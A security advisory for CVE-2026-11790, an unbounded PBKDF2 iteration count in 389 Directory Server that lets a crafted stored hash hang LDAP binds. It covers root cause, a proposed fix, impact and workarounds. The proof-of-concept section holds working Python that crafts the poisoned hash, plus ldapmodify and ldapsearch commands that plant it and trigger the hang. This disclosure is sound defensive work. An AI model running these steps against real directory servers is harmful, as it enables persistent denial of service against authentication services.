PBKDF2 password storage plugin unbounded iteration count DoS
- CVE ID
- CVE-2026-11790
- Product
- 389-ds-base
- Severity
- Moderate (4.9)
- CVSS Vector
- CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
- CWE
- CWE-400
- Red Hat CVE
- Red Hat CVE page
Summary
The pbkdf2_sha256_pw_cmp() function in the 389 Directory Server PBKDF2 password storage plugin extracts the iteration count from the stored hash without any upper bound check. An attacker with Directory Manager privileges can store a crafted {PBKDF2_SHA256} password hash with an extreme iteration count (e.g., 0x7FFFFFFF), causing any subsequent LDAP BIND to that account to consume one CPU core for 24+ hours. Multiple crafted accounts can exhaust the bind thread pool, making the server unresponsive to all operations. Both the C plugin (pbkdf2_pwd.c) and the Rust plugin (pwdchan/lib.rs) are affected.
The crafted hash is structurally valid (correct total length, proper format) and passes all existing validation checks including the CVE-2024-5953 fix. Only the iteration count is abnormal. This is distinct from CVE-2024-5953, which added a hash length check but not an iteration cap.
The denial of service is persistent — the crafted hash persists in the database and re-triggers on every bind attempt until an administrator manually fixes the entry. Recovery requires DM access to the database to replace the poisoned hashes, which may be difficult if the DM account itself is poisoned.
Affected Versions
The PBKDF2-SHA256 password storage scheme was introduced in 389-ds-base 1.3.6 (commit 542287ce7, “Ticket 397 - Add PBKDF2 to Directory Server password storage”). The compare path has never had an upper bound check on the extracted iteration count.
| Package | Status |
|---|---|
| 389-ds-base (upstream) | >= 1.3.6 through 3.2.0-dev (since 2016) |
| 389-ds-base (Fedora 42) | 3.1.4-6.fc42 — Confirmed vulnerable (PoC hang) |
| RHEL 7 | 389-ds-base-1.3.x — Vulnerable (code present) |
| RHEL 8 | 389-ds-base-1.4.x — Vulnerable (code present) |
| RHEL 9 | 389-ds-base-2.x — Vulnerable (code present) |
| RHEL 10 | 389-ds-base-3.x — Vulnerable (code present) |
Affected Products
| Product | Version | 389-ds-base version | Status | Verification |
|---|---|---|---|---|
| 389 Directory Server (upstream) | 1.3.6+ | All since Ticket 397 | Affected | Source: commit 542287ce7 introduced PBKDF2. Bug present in current main branch. |
| Red Hat Directory Server 10 | 10.x | 1.3.x | Affected | RHDS 10 = 389-ds-base 1.3.x on RHEL 7. PBKDF2 introduced in 1.3.6. |
| Red Hat Directory Server 11 | 11.x | 1.4.x | Affected | RHDS 11 = 389-ds-base 1.4.x on RHEL 8. |
| Red Hat Directory Server 12 | 12.0-12.7 | 2.0.x-2.7.x | Affected | RHDS 12 = 389-ds-base 2.x on RHEL 9. |
| Red Hat Directory Server 13 | 13.0-13.1 | 3.x | Affected | RHDS 13 = 389-ds-base 3.x on RHEL 10. Tested version (3.1.4) is affected. |
| RHEL 7 (IdM/FreeIPA) | 7.0-7.9 | 1.3.x | Affected | RHEL 7 ships 389-ds-base 1.3.5+. PBKDF2 introduced in 1.3.6. |
| RHEL 8 (IdM/FreeIPA) | 8.0-8.10 | 1.4.x | Affected | RHEL 8 ships 389-ds-base 1.4.x via 389-ds:1.4 module. CVE-2024-5953 fix did not add iteration cap. |
| RHEL 9 (IdM/FreeIPA) | 9.0-9.6 | 2.0.x-2.6.x | Affected | RHEL 9 ships 389-ds-base 2.x. CVE-2024-5953 fix did not address this vulnerability. |
| RHEL 10 (IdM/FreeIPA) | 10.0-10.1 | 3.x | Affected | RHEL 10 ships 389-ds-base 3.x. CVE-2024-5953 fix did not address this vulnerability. |
| Fedora | ~26 through 42 | 1.3.x through 3.x | Affected | All Fedora releases shipping 389-ds-base >= 1.3.6. Tested: Fedora 42 with 389-ds-base-3.1.4-6.fc42 — PoC confirmed. |
| CentOS / CentOS Stream | 7, 8, 9, 10 | Matches RHEL | Affected | CentOS/Stream tracks RHEL. |
Verification method: The pbkdf2_sha256_extract() function has never had an iteration upper bound check. CVE-2024-5953 fix (commit 9e6cefb) did not add one.
Architecture Validation
This vulnerability is a pure logic bug with no dependence on architecture.
| Architecture | Status |
|---|---|
| x86_64 | Confirmed: 30+ second bind hang at 10M iterations (Fedora 42) |
| aarch64 | Untested (architecture-independent logic) |
| s390x | Untested |
| ppc64le | Untested |
The vulnerability is a CPU-bound computation with no architecture dependency.
Root Cause
File: ldap/servers/plugins/pwdstorage/pbkdf2_pwd.c
Function: pbkdf2_sha256_pw_cmp()
The pbkdf2_sha256_extract() function reads the iteration count from the first 4 bytes of the stored hash and converts from network byte order. No maximum is enforced:
void pbkdf2_sha256_extract(char *hash_in, SECItem *salt, uint32_t *iterations) {
memcpy(iterations, hash_in, PBKDF2_ITERATIONS_LENGTH);
*iterations = ntohl(*iterations); // attacker-controlled, no cap
// ...
}
The encode path uses PBKDF2_MINIMUM (2048) as a floor and the design doc specifies 10,000,000 as the maximum for the configuration parameter, but neither bound is applied in the compare path.
The Rust plugin (src/plugins/pwdchan/src/lib.rs) has the same issue: MAX_PBKDF2_ROUNDS = 10,000,000 exists but is only enforced in set_pbkdf2_rounds(), not in pbkdf2_compare().
Proposed Fix
/* BEFORE (vulnerable): */
pbkdf2_sha256_extract(dbhash, &saltItem, &iterations);
if (pbkdf2_sha256_hash(userhash, PBKDF2_HASH_LENGTH,
&passItem, &saltItem, iterations) != SECSuccess) {
/* AFTER (fixed): */
pbkdf2_sha256_extract(dbhash, &saltItem, &iterations);
/* Reject stored hashes with unreasonable iteration counts */
if (iterations > PBKDF2_MAX_ITERATIONS) {
slapi_log_err(SLAPI_LOG_ERR, schemeName,
"Stored hash has excessive iteration count (%" PRIu32
" > %" PRIu32 "), rejecting\n",
iterations, PBKDF2_MAX_ITERATIONS);
return 1; /* fail comparison */
}
if (pbkdf2_sha256_hash(userhash, PBKDF2_HASH_LENGTH,
&passItem, &saltItem, iterations) != SECSuccess) {
Where PBKDF2_MAX_ITERATIONS is set to 10000000 (matching the design doc maximum). The same fix is needed in the Rust plugin’s pbkdf2_compare(): add if iterations > MAX_PBKDF2_ROUNDS { return Err(...); } before the pbkdf2_hmac() call.
Proof of Concept
PoC source code: CVE-2026-11790 on GitHub
The PoC script poc/012-pbkdf2-unbounded-iterations-dos.py automates the full exploitation flow:
- Performs a baseline bind to measure normal response time (~7ms)
- Crafts a structurally valid
{PBKDF2_SHA256}hash with an attacker-specified iteration count (default: 10,000,000) - Plants the crafted hash on the target user account via LDAPI EXTERNAL
- Attempts a bind as the poisoned user with a timeout
Hash construction:
import struct, base64, os
iterations = 0x7FFFFFFF # ~2.1 billion -- blocks bind for 24+ hours
salt = os.urandom(64) # PBKDF2_SALT_LENGTH
fake_hash = os.urandom(256) # PBKDF2_HASH_LENGTH
payload = struct.pack('!I', iterations) + salt + fake_hash
encoded = base64.b64encode(payload).decode()
crafted = '{PBKDF2_SHA256}' + encoded
# Total decoded size: 4 + 64 + 256 = 324 bytes = PBKDF2_TOTAL_LENGTH
# This passes the CVE-2024-5953 length check (324 == sizeof dbhash)
The crafted hash is structurally valid (correct total length, proper format) and passes all existing validation checks including the CVE-2024-5953 fix. Only the iteration count is abnormal.
Usage:
python3 poc/012-pbkdf2-unbounded-iterations-dos.py ldap://localhost:389 \
"uid=testuser,dc=test,dc=com" --iterations 10000000 --timeout 30
Prerequisites:
- A 389 Directory Server instance
- Directory Manager credentials (or
nsslapd-allow-hashed-passwords: onfor a non-DM user) - A test user account (e.g.,
uid=testuser,dc=test,dc=com)
System tested: 389-ds-base-3.1.4-6.fc42.x86_64, Fedora 42 container.
Expected result: At 10,000,000 iterations, the bind exceeds 30 seconds (exit code 124 from timeout). The server is still running but the bind thread is pegged at 100% CPU. At 0x7FFFFFFF (~2.1 billion) iterations, the bind would block for 24+ hours.
Manual Reproduction
-
Note baseline bind time:
time ldapsearch -x -H ldap://localhost:389 -D "uid=testuser,dc=test,dc=com" \ -w "testpassword123" -b "" -s base "(objectclass=*)" # Expected: ~7ms -
Craft and plant a
{PBKDF2_SHA256}hash with 10,000,000 iterations:python3 -c " import struct, base64, os payload = struct.pack('!I', 10_000_000) + os.urandom(64) + os.urandom(256) print('{PBKDF2_SHA256}' + base64.b64encode(payload).decode()) " | xargs -I{} ldapmodify -H ldapi:// -Y EXTERNAL <<EOF dn: uid=testuser,dc=test,dc=com changetype: modify replace: userPassword userPassword: {} EOF -
Trigger the DoS:
timeout 30 ldapsearch -x -H ldap://localhost:389 \ -D "uid=testuser,dc=test,dc=com" -w "anypassword" \ -b "" -s base "(objectclass=*)" -
Expected result: Command times out after 30 seconds (exit code 124). Server is still running but the bind thread is pegged at 100% CPU. At
0x7FFFFFFFiterations, the bind would block for 24+ hours.
Impact
CVSS 3.1: 4.9 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)
| Component | Value | Justification |
|---|---|---|
| AV | Network | Triggered via LDAP BIND (ports 389/636) |
| AC | Low | Deterministic — attacker controls the iteration count |
| PR | High | Requires DM or nsslapd-allow-hashed-passwords |
| UI | None | Any bind to the poisoned account triggers it |
| S | Unchanged | Impact limited to the LDAP process |
| C | None | CPU consumption only |
| I | None | No data modification |
| A | High | CPU core consumed for hours/days; thread pool exhaustion |
Poisoned accounts cause bind threads to hang for hours. With enough poisoned accounts bound simultaneously, the thread pool is exhausted and the server becomes unresponsive to all operations — effectively a persistent full-service denial of service. Recovery requires DM access to the database to replace the poisoned hashes, which may be difficult if the DM account itself is poisoned.
Both findings affect downstream services including FreeIPA/IdM, Dogtag Certificate System, SSSD, and Kerberos KDC. However, the PR:H prerequisite significantly reduces the likelihood of exploitation.
Comparable CVEs
| CVE | Software | Bug class | CVSS | Comparison |
|---|---|---|---|---|
| CVE-2024-5953 | 389-ds-base | Malformed userPassword hash DoS | Moderate | Direct predecessor — this finding is a related but distinct issue in the same code area. CVE-2024-5953 added a hash length check but not an iteration cap. |
| CVE-2024-2199 | 389-ds-base | DoS via malformed userPassword | Moderate | Similar: crafted password hash causes DoS. Same PR:H prerequisite. |
Workaround
-
Disable
nsslapd-allow-hashed-passwords(default: off). This prevents non-DM users from setting pre-hashed passwords. DM credential compromise is still a risk. -
Restrict Directory Manager credentials. Use dedicated DM accounts with strong passwords. Limit DM access to management networks. Audit DM operations via
nsslapd-auditlog. -
Monitor for suspicious
userPasswordmodifications. Enable audit logging (nsslapd-auditlog-logging-enabled: on) and alert onuserPasswordchanges containing unusual hash schemes or large base64 payloads. -
Monitor for unusually long bind operations in the access log. A bind taking more than a few seconds to the same account may indicate a poisoned PBKDF2 hash.
Timeline
| Date | Event |
|---|---|
| 2026-04-14 | Discovered during 389-ds-base security assessment |
| 2026-04-15 | Reported to vendor |
| TBD | Patch released |
| TBD | Public disclosure |
References
- Red Hat CVE page
- NVD
- CVE-2024-5953: 389-ds-base malformed userPassword hash DoS. Fixed by commit
9e6cefb. Added length validation but did not add iteration count bounds. - CVE-2024-2199: 389-ds-base DoS via malformed userPassword. Similar attack pattern (crafted hash, PR:H).
- Commit
542287ce7: Introduced PBKDF2-SHA256 password storage (389-ds-base 1.3.6, “Ticket 397”). Origin of this vulnerability.
Credits
Discovered by Ian Murphy during a security assessment of 389-ds-base. Identified through source code review and static analysis. Confirmed via manual source review and production PoC on 389-ds-base-3.1.4-6.fc42.